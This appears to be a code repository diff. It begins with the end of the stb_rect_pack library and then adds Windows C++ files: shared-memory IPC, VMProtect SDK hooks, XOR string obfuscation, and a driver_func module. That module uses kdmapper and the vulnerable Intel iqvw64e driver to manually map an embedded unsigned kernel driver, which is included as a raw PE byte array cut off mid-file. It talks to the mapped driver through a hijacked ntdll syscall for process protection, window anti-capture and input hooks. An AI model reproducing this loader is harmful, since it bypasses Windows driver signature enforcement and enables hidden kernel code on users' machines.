int xpos = tail->x - width;
int y,waste;
STBRP_ASSERT(xpos >= 0);
// find the left position that matches this
while (node->next->x <= xpos) {
prev = &node->next;
node = node->next;
}
STBRP_ASSERT(node->next->x > xpos && node->x <= xpos);
y = stbrp__skyline_find_min_y(c, node, xpos, width, &waste);
if (y + height <= c->height) {
if (y <= best_y) {
if (y < best_y || waste < best_waste || (waste==best_waste && xpos < best_x)) {
best_x = xpos;
//STBRP_ASSERT(y <= best_y); [DEAR IMGUI]
best_y = y;
best_waste = waste;
best = prev;
}
}
}
tail = tail->next;
}
}
fr.prev_link = best;
fr.x = best_x;
fr.y = best_y;
return fr;
}
static stbrp__findresult stbrp__skyline_pack_rectangle(stbrp_context *context, int width, int height)
{
// find best position according to heuristic
stbrp__findresult res = stbrp__skyline_find_best_pos(context, width, height);
stbrp_node *node, *cur;
// bail if:
// 1. it failed
// 2. the best node doesn't fit (we don't always check this)
// 3. we're out of memory
if (res.prev_link == NULL || res.y + height > context->height || context->free_head == NULL) {
res.prev_link = NULL;
return res;
}
// on success, create new node
node = context->free_head;
node->x = (stbrp_coord) res.x;
node->y = (stbrp_coord) (res.y + height);
context->free_head = node->next;
// insert the new node into the right starting point, and
// let 'cur' point to the remaining nodes needing to be
// stitched back in
cur = *res.prev_link;
if (cur->x < res.x) {
// preserve the existing one, so start testing with the next one
stbrp_node *next = cur->next;
cur->next = node;
cur = next;
} else {
*res.prev_link = node;
}
// from here, traverse cur and free the nodes, until we get to one
// that shouldn't be freed
while (cur->next && cur->next->x <= res.x + width) {
stbrp_node *next = cur->next;
// move the current node to the free list
cur->next = context->free_head;
context->free_head = cur;
cur = next;
}
// stitch the list back in
node->next = cur;
if (cur->x < res.x + width)
cur->x = (stbrp_coord) (res.x + width);
#ifdef _DEBUG
cur = context->active_head;
while (cur->x < context->width) {
STBRP_ASSERT(cur->x < cur->next->x);
cur = cur->next;
}
STBRP_ASSERT(cur->next == NULL);
{
int count=0;
cur = context->active_head;
while (cur) {
cur = cur->next;
++count;
}
cur = context->free_head;
while (cur) {
cur = cur->next;
++count;
}
STBRP_ASSERT(count == context->num_nodes+2);
}
#endif
return res;
}
static int STBRP__CDECL rect_height_compare(const void *a, const void *b)
{
const stbrp_rect *p = (const stbrp_rect *) a;
const stbrp_rect *q = (const stbrp_rect *) b;
if (p->h > q->h)
return -1;
if (p->h < q->h)
return 1;
return (p->w > q->w) ? -1 : (p->w < q->w);
}
static int STBRP__CDECL rect_original_order(const void *a, const void *b)
{
const stbrp_rect *p = (const stbrp_rect *) a;
const stbrp_rect *q = (const stbrp_rect *) b;
return (p->was_packed < q->was_packed) ? -1 : (p->was_packed > q->was_packed);
}
STBRP_DEF int stbrp_pack_rects(stbrp_context *context, stbrp_rect *rects, int num_rects)
{
int i, all_rects_packed = 1;
// we use the 'was_packed' field internally to allow sorting/unsorting
for (i=0; i < num_rects; ++i) {
rects[i].was_packed = i;
}
// sort according to heuristic
STBRP_SORT(rects, num_rects, sizeof(rects[0]), rect_height_compare);
for (i=0; i < num_rects; ++i) {
if (rects[i].w == 0 || rects[i].h == 0) {
rects[i].x = rects[i].y = 0; // empty rect needs no space
} else {
stbrp__findresult fr = stbrp__skyline_pack_rectangle(context, rects[i].w, rects[i].h);
if (fr.prev_link) {
rects[i].x = (stbrp_coord) fr.x;
rects[i].y = (stbrp_coord) fr.y;
} else {
rects[i].x = rects[i].y = STBRP__MAXVAL;
}
}
}
// unsort
STBRP_SORT(rects, num_rects, sizeof(rects[0]), rect_original_order);
// set was_packed flags and all_rects_packed status
for (i=0; i < num_rects; ++i) {
rects[i].was_packed = !(rects[i].x == STBRP__MAXVAL && rects[i].y == STBRP__MAXVAL);
if (!rects[i].was_packed)
all_rects_packed = 0;
}
// return the all_rects_packed status
return all_rects_packed;
}
#endif
/*
------------------------------------------------------------------------------
This software is available under 2 licenses -- choose whichever you prefer.
------------------------------------------------------------------------------
ALTERNATIVE A - MIT License
Copyright (c) 2017 Sean Barrett
Permission is hereby granted, free of charge, to any person obtaining a copy of
this software and associated documentation files (the "Software"), to deal in
the Software without restriction, including without limitation the rights to
use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies
of the Software, and to permit persons to whom the Software is furnished to do
so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
------------------------------------------------------------------------------
ALTERNATIVE B - Public Domain (www.unlicense.org)
This is free and unencumbered software released into the public domain.
Anyone is free to copy, modify, publish, use, compile, sell, or distribute this
software, either in source code form or as a compiled binary, for any purpose,
commercial or non-commercial, and by any means.
In jurisdictions that recognize copyright laws, the author or authors of this
software dedicate any and all copyright interest in the software to the public
domain. We make this dedication for the benefit of the public at large and to
the detriment of our heirs and successors. We intend this dedication to be an
overt act of relinquishment in perpetuity of all present and future rights to
this software under copyright law.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN
ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
------------------------------------------------------------------------------
*/
File diff suppressed because it is too large Load Diff
File diff suppressed because it is too large Load Diff
+34
View File
@@ -0,0 +1,34 @@
#include "Mapping.h"
namespace Mapping
{
auto create_memory_mapping() -> HANDLE
{
auto hMap = CreateFileMappingA(
INVALID_HANDLE_VALUE,
NULL,
PAGE_READWRITE,
0,
sizeof(_MAPPING_USER_MEMORY),
SHARED_NAME
);
return hMap;
}
auto mapping_shared_memory(HANDLE hMapHandle) -> PMAPPING_USER_MEMORY
{
auto pData = (_MAPPING_USER_MEMORY*)MapViewOfFile(
hMapHandle,
FILE_MAP_ALL_ACCESS,
0, 0,
0
);
return pData;
}
}
+40
View File
@@ -0,0 +1,40 @@
#pragma once
#ifndef MAPPING
#define MAPPING
#include "Base.h"
#define SHARED_NAME "ServerMappingMmeory"
typedef struct _MAPPING_USER_MEMORY
{
char str[256];
//驱动执行
DWORD load_driver_code;
//轮巡
DWORD add_index_code;
DWORD server_pid;
DWORD client_pid;
//轮巡返回数
DWORD Index;
//返回状态
BOOL bIsSuc;
}MAPPING_USER_MEMORY,*PMAPPING_USER_MEMORY;
namespace Mapping
{
//创建共享内存
auto create_memory_mapping()->HANDLE;
//映射共享内存
auto mapping_shared_memory(HANDLE hMapHandle) ->PMAPPING_USER_MEMORY;
}
#endif // !MAPPING
+106
View File
@@ -0,0 +1,106 @@
#pragma once
#if defined(__APPLE__) || defined(__unix__)
#define VMP_IMPORT
#define VMP_API
#define VMP_WCHAR unsigned short
#else
#define VMP_IMPORT __declspec(dllimport)
#define VMP_API __stdcall
#define VMP_WCHAR wchar_t
#ifdef _M_IX86
#pragma comment(lib, "VMProtectSDK32.lib")
#elif _M_X64
#pragma comment(lib, "VMP/VMProtectSDK64.lib")
#elif _M_ARM64
#pragma comment(lib, "VMProtectARM64.lib")
#else
#error "Unsupported target architecture"
#endif
#endif // __APPLE__ || __unix__
#ifdef __cplusplus
extern "C" {
#endif
// protection
VMP_IMPORT void VMP_API VMProtectBegin(const char *);
VMP_IMPORT void VMP_API VMProtectBeginVirtualization(const char *);
VMP_IMPORT void VMP_API VMProtectBeginMutation(const char *);
VMP_IMPORT void VMP_API VMProtectBeginUltra(const char *);
VMP_IMPORT void VMP_API VMProtectBeginVirtualizationLockByKey(const char *);
VMP_IMPORT void VMP_API VMProtectBeginUltraLockByKey(const char *);
VMP_IMPORT void VMP_API VMProtectEnd(void);
// utils
VMP_IMPORT bool VMP_API VMProtectIsProtected();
VMP_IMPORT bool VMP_API VMProtectIsDebuggerPresent(bool);
VMP_IMPORT bool VMP_API VMProtectIsVirtualMachinePresent(void);
VMP_IMPORT bool VMP_API VMProtectIsValidImageCRC(void);
VMP_IMPORT const char * VMP_API VMProtectDecryptStringA(const char *value);
VMP_IMPORT const VMP_WCHAR * VMP_API VMProtectDecryptStringW(const VMP_WCHAR *value);
VMP_IMPORT bool VMP_API VMProtectFreeString(const void *value);
// licensing
enum VMProtectSerialStateFlags
{
SERIAL_STATE_SUCCESS = 0,
SERIAL_STATE_FLAG_CORRUPTED = 0x00000001,
SERIAL_STATE_FLAG_INVALID = 0x00000002,
SERIAL_STATE_FLAG_BLACKLISTED = 0x00000004,
SERIAL_STATE_FLAG_DATE_EXPIRED = 0x00000008,
SERIAL_STATE_FLAG_RUNNING_TIME_OVER = 0x00000010,
SERIAL_STATE_FLAG_BAD_HWID = 0x00000020,
SERIAL_STATE_FLAG_MAX_BUILD_EXPIRED = 0x00000040,
};
#pragma pack(push, 1)
typedef struct
{
unsigned short wYear;
unsigned char bMonth;
unsigned char bDay;
} VMProtectDate;
typedef struct
{
int nState; // VMProtectSerialStateFlags
VMP_WCHAR wUserName[256]; // user name
VMP_WCHAR wEMail[256]; // email
VMProtectDate dtExpire; // date of serial number expiration
VMProtectDate dtMaxBuild; // max date of build, that will accept this key
int bRunningTime; // running time in minutes
unsigned char nUserDataLength; // length of user data in bUserData
unsigned char bUserData[255]; // up to 255 bytes of user data
} VMProtectSerialNumberData;
#pragma pack(pop)
VMP_IMPORT int VMP_API VMProtectSetSerialNumber(const char *serial);
VMP_IMPORT int VMP_API VMProtectGetSerialNumberState();
VMP_IMPORT bool VMP_API VMProtectGetSerialNumberData(VMProtectSerialNumberData *data, int size);
VMP_IMPORT int VMP_API VMProtectGetCurrentHWID(char *hwid, int size);
// activation
enum VMProtectActivationFlags
{
ACTIVATION_OK = 0,
ACTIVATION_SMALL_BUFFER,
ACTIVATION_NO_CONNECTION,
ACTIVATION_BAD_REPLY,
ACTIVATION_BANNED,
ACTIVATION_CORRUPTED,
ACTIVATION_BAD_CODE,
ACTIVATION_ALREADY_USED,
ACTIVATION_SERIAL_UNKNOWN,
ACTIVATION_EXPIRED,
ACTIVATION_NOT_AVAILABLE
};
VMP_IMPORT int VMP_API VMProtectActivateLicense(const char *code, char *serial, int size);
VMP_IMPORT int VMP_API VMProtectDeactivateLicense(const char *serial);
VMP_IMPORT int VMP_API VMProtectGetOfflineActivationString(const char *code, char *buf, int size);
VMP_IMPORT int VMP_API VMProtectGetOfflineDeactivationString(const char *serial, char *buf, int size);
#ifdef __cplusplus
}
#endif
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
+5
View File
@@ -0,0 +1,5 @@
#pragma once
#include "VMProtectSDK.h"
#define VMP_PROC() VMProtectBegin(__FUNCTION__)
#define VMP_EDNP() VMProtectEnd();
+106
View File
@@ -0,0 +1,106 @@
#pragma once
#include <string>
#include <array>
#include <cstdarg>
#include <utility>
namespace XorCompileTime
{
constexpr auto time = __TIME__;
constexpr auto seed = static_cast<int>(time[7]) + static_cast<int>(time[6]) * 10 + static_cast<int>(time[4]) * 60 + static_cast<int>(time[3]) * 600 + static_cast<int>(time[1]) * 3600 + static_cast<int>(time[0]) * 36000;
template < int iValue >
struct RandomGenerator
{
private:
static constexpr unsigned a = 16807;
static constexpr unsigned m = 0x7FFFFFFF;
static constexpr unsigned s = RandomGenerator<iValue - 1>::value;
static constexpr unsigned lo = a * (s & 0xFFFF);
static constexpr unsigned hi = a * (s >> 16);
static constexpr unsigned lo2 = lo + ((hi & 0x7FFF) << 16);
static constexpr unsigned hi2 = hi >> 15;
static constexpr unsigned lo3 = lo2 + hi;
public:
static constexpr unsigned max = m;
static constexpr unsigned value = lo3 > m ? lo3 - m : lo3;
};
template <>
struct RandomGenerator<0>
{
static constexpr unsigned value = seed;
};
template < int N, int M >
struct RandomInt
{
static constexpr auto value = RandomGenerator< N + 1 >::value % M;
};
template < int N >
struct RandomChar
{
static const char value = static_cast<char>(1 + RandomInt< N, 0x7F - 1 >::value);
};
template < int N >
struct RandomCharW
{
static const wchar_t value = static_cast<wchar_t>(1 + RandomInt< N, 0x7F - 1 >::value);
};
template <size_t N, int K>
struct XorString
{
private:
const char _key;
std::array< char, N + 1 > _encrypted;
constexpr char enc(char c) const { return c ^ _key; }
char dec(char c) const { return c ^ _key; }
public:
template <size_t... Is>
constexpr __forceinline XorString(const char* str, std::index_sequence< Is... >) : _key(RandomChar< K >::value), _encrypted{ enc(str[Is])... } {}
__forceinline decltype(auto) decrypt(void)
{
for (size_t i = 0; i < N; ++i)
{
_encrypted[i] = dec(_encrypted[i]);
}
_encrypted[N] = '\0';
return _encrypted.data();
}
};
template <size_t N, int K>
struct XorStringW
{
private:
const wchar_t _key;
std::array< wchar_t, N + 1 > _encrypted;
constexpr wchar_t enc(wchar_t c) const { return c ^ _key; }
wchar_t dec(wchar_t c) const { return c ^ _key; }
public:
template <size_t... Is>
constexpr __forceinline XorStringW(const wchar_t* str, std::index_sequence< Is... >) : _key(RandomCharW< K >::value), _encrypted{ enc(str[Is])... } {}
__forceinline decltype(auto) decrypt(void)
{
for (size_t i = 0; i < N; ++i)
{
_encrypted[i] = dec(_encrypted[i]);
}
_encrypted[N] = '\0';
return _encrypted.data();
}
};
#define XOR_STRING_A(s) (XorCompileTime::XorString<sizeof( s ) - 1,__COUNTER__>(s, std::make_index_sequence<sizeof(s) - 1>()).decrypt())
#define XOR_STRING_W(s) (XorCompileTime::XorStringW<sizeof( s ) - 1,__COUNTER__>(s, std::make_index_sequence<sizeof(s) - 1>()).decrypt())
#define XorStr(s) XOR_STRING_A(s)
}
+50
View File
@@ -0,0 +1,50 @@
#include "comm.h"
#include "Driver.h"
#include "Mapping.h"
HANDLE hMapHandle;
namespace comm
{
auto coom_call_back(LPVOID parmar)-> DWORD
{
while (true)
{
auto mapping_data = reinterpret_cast<PMAPPING_USER_MEMORY>(parmar);
if (mapping_data->add_index_code)
{
mapping_data->Index++;
strcpy_s(mapping_data->str, "ok");
mapping_data->add_index_code = FALSE;
}
if (mapping_data->load_driver_code)
{
auto suc = Driver::fn_get_instance()->driver_install();
mapping_data->bIsSuc = suc;
strcpy_s(mapping_data->str, "ok");
mapping_data->load_driver_code = FALSE;
exit(0);
}
//ZeroMemory(mapping_data, sizeof(MAPPING_USER_MEMORY));
Sleep(500);
}
return 0;
}
auto create_coomback(LPVOID parmar) -> void
{
CreateThread(nullptr, 0, coom_call_back, parmar, 0, nullptr);
}
}
+26
View File
@@ -0,0 +1,26 @@
#pragma once
#ifndef COMM_H
#define COMM_H
#include "Base.h"
enum TYPE_COOM
{
BASE = 0x1000,
KD_LOAD_DRIVER,
ADD_INDEX_VAL,
};
namespace comm
{
auto create_coomback(LPVOID parmar)-> void;
auto coom_call_back(LPVOID)->DWORD;
}
#endif // !COMM_H
+76
View File
@@ -0,0 +1,76 @@
#include "driver_func.h"
#include "kdmapper/kd_driver.h"
#include "kdmapper/kdmapper.h"
#include "kdmapper/utils.h"
#include "Anti_Cheat_Driver.h"
typedef ULONG(WINAPI* NtConvertBetweenAuxiliaryCounterAndPerformanceCounterProc)(char a1, PVOID a2, PVOID a3, PVOID a4);
NtConvertBetweenAuxiliaryCounterAndPerformanceCounterProc gNtConvertBetweenAuxiliary = NULL;
HANDLE null_device_handle;
OSVERSIONINFOW os{ 0 };
namespace driver_func
{
auto init() -> BOOL
{
os = utils::GetVersion();
if (os.dwBuildNumber == 7600 || os.dwBuildNumber == 7601)
{
null_device_handle = CreateFileA(XorStr("\\\\.\\Nul"), GENERIC_READ | GENERIC_WRITE, 0, 0, OPEN_EXISTING, FILE_ATTRIBUTE_SYSTEM, 0);
if (null_device_handle != NULL && null_device_handle != INVALID_HANDLE_VALUE)
return TRUE;
}
else if (os.dwBuildNumber >= 14393)
{
HMODULE ntdll = GetModuleHandleA("ntdll.dll");
if (ntdll)
{
if (gNtConvertBetweenAuxiliary == nullptr)
{
gNtConvertBetweenAuxiliary = (NtConvertBetweenAuxiliaryCounterAndPerformanceCounterProc)
GetProcAddress(ntdll, XorStr("NtConvertBetweenAuxiliaryCounterAndPerformanceCounter"));
return gNtConvertBetweenAuxiliary ? TRUE : FALSE;
}
}
}
return FALSE;
}
auto kdmaper_load_driver() -> BOOL
{
if (kd_driver::Load())
{
if (kdmapper::MapDriver(kd_driver::iqvw64e_device_handle, kd_driver::ntoskrnlbase, (char*)Anti_Cheat_Driver))
{
kd_driver::Unload();
return TRUE;
}
}
return FALSE;
}
auto driver_comm_func(LPVOID Buf, DWORD bufSize)->BOOL
{
if (os.dwBuildNumber == 7600 || os.dwBuildNumber == 7601)
{
DWORD retlen = 0;
return DeviceIoControl(null_device_handle, 0x12345678, Buf, bufSize, Buf, bufSize, &retlen, NULL);
}
else if (os.dwBuildNumber >= 14393)
{
ULONG64 xxx = 0;
auto data = (ULONG64)Buf;
gNtConvertBetweenAuxiliary(1, &data, (PVOID)&xxx, NULL);
return TRUE;
}
return FALSE;
}
}
+51
View File
@@ -0,0 +1,51 @@
#pragma once
#ifndef DRIVER_BULID_FUNC
#define DRIVER_BULID_FUNC
#include <Windows.h>
#define STATUS_UNSUCCESSFUL ((NTSTATUS)0xC0000001L)
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
struct CMD_COMM
{
DWORD64 CommID;
DWORD64 Buf;
DWORD64 status;
};
struct IOCTL_PROCESS
{
DWORD64 Pid;
};
struct IOCTL_WINDOW
{
DWORD64 HWND;
DWORD64 Flags;
};
enum DRIVER_COOM_TYPE
{
MSG_BASE = 0x10000,
DRIVER_COMM_TEST,
DRIVER_PROTECT_PROCESS,
DRIVER_CANCEL_PROTECT_PROCESS,
ADD_WHITE_PROCESS,
WINDOW_ANIT_SCREEN,
USER_EVENT_HANDLE,
PROTECT_THREAD_CONTRL,
INSTALL_MOUSE_KEYBOARD,
UNLOAD_MOUSE_KEYBOARD,
};
namespace driver_func
{
auto init()->BOOL;
auto kdmaper_load_driver()->BOOL;
auto driver_comm_func(LPVOID Buf, DWORD bufSize)->BOOL;
}
#endif // !DRIVER_BULID_FUNC
+727
View File
@@ -0,0 +1,727 @@
#pragma once
//-----------
//-----------
//By:QiHuan
//-----------
//-----------
unsigned char MmKd_sumper[0x3820] =
{ 0x4D, 0x5A, 0x90, 0x00, 0x03, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0x00, 0x00, 0xB8, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0xD8, 0x00, 0x00, 0x00, 0x0E, 0x1F, 0xBA, 0x0E, 0x00, 0xB4, 0x09, 0xCD, 0x21, 0xB8, 0x01, 0x4C, 0xCD, 0x21, 0x54, 0x68,
0x69, 0x73, 0x20, 0x70, 0x72, 0x6F, 0x67, 0x72, 0x61, 0x6D, 0x20, 0x63, 0x61, 0x6E, 0x6E, 0x6F, 0x74, 0x20, 0x62, 0x65,
0x20, 0x72, 0x75, 0x6E, 0x20, 0x69, 0x6E, 0x20, 0x44, 0x4F, 0x53, 0x20, 0x6D, 0x6F, 0x64, 0x65, 0x2E, 0x0D, 0x0D, 0x0A,
0x24, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x9B, 0x17, 0xFE, 0xED, 0xDF, 0x76, 0x90, 0xBE, 0xDF, 0x76, 0x90, 0xBE,
0xDF, 0x76, 0x90, 0xBE, 0xCB, 0x1D, 0x91, 0xBF, 0xDC, 0x76, 0x90, 0xBE, 0xDF, 0x76, 0x91, 0xBE, 0xD2, 0x76, 0x90, 0xBE,
0xCB, 0x1D, 0x93, 0xBF, 0xDD, 0x76, 0x90, 0xBE, 0xCB, 0x1D, 0x94, 0xBF, 0xDC, 0x76, 0x90, 0xBE, 0xDF, 0x76, 0x90, 0xBE,
0xDC, 0x76, 0x90, 0xBE, 0x48, 0x04, 0x92, 0xBF, 0xDE, 0x76, 0x90, 0xBE, 0x52, 0x69, 0x63, 0x68, 0xDF, 0x76, 0x90, 0xBE,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x50, 0x45, 0x00, 0x00,
0x64, 0x86, 0x06, 0x00, 0xFF, 0xFB, 0x66, 0x6A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xF0, 0x00, 0x22, 0x00,
0x0B, 0x02, 0x0E, 0x1C, 0x00, 0x14, 0x00, 0x00, 0x00, 0x0C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x50, 0x00, 0x00,
0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x01, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00,
0x0A, 0x00, 0x00, 0x00, 0x0A, 0x00, 0x00, 0x00, 0x06, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x70, 0x00, 0x00,
0x00, 0x04, 0x00, 0x00, 0x5A, 0xEA, 0x00, 0x00, 0x01, 0x00, 0x60, 0x41, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x90, 0x50, 0x00, 0x00, 0x28, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00,
0x78, 0x00, 0x00, 0x00, 0x00, 0x24, 0x00, 0x00, 0x20, 0x14, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x14, 0x00, 0x00, 0x00,
0xA0, 0x20, 0x00, 0x00, 0x38, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xE0, 0x20, 0x00, 0x00, 0x18, 0x01, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x70, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x2E, 0x74, 0x65, 0x78, 0x74, 0x00, 0x00, 0x00, 0x2A, 0x0E, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00,
0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x68,
0x2E, 0x72, 0x64, 0x61, 0x74, 0x61, 0x00, 0x00, 0x1C, 0x04, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00,
0x00, 0x14, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x48,
0x2E, 0x64, 0x61, 0x74, 0x61, 0x00, 0x00, 0x00, 0xE8, 0x00, 0x00, 0x00, 0x00, 0x30, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00,
0x00, 0x1A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0xC8,
0x2E, 0x70, 0x64, 0x61, 0x74, 0x61, 0x00, 0x00, 0x78, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00,
0x00, 0x1C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x48,
0x49, 0x4E, 0x49, 0x54, 0x00, 0x00, 0x00, 0x00, 0x48, 0x02, 0x00, 0x00, 0x00, 0x50, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00,
0x00, 0x1E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x62,
0x2E, 0x72, 0x65, 0x6C, 0x6F, 0x63, 0x00, 0x00, 0x14, 0x00, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00,
0x00, 0x22, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x42,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x48, 0x83, 0xEC, 0x28, 0x48, 0x89, 0xD1, 0xC7, 0x42, 0x30, 0x00, 0x00, 0x00, 0x00, 0x48, 0xC7,
0x42, 0x38, 0x00, 0x00, 0x00, 0x00, 0x31, 0xD2, 0xFF, 0x15, 0xE2, 0x0F, 0x00, 0x00, 0x31, 0xC0, 0x48, 0x83, 0xC4, 0x28,
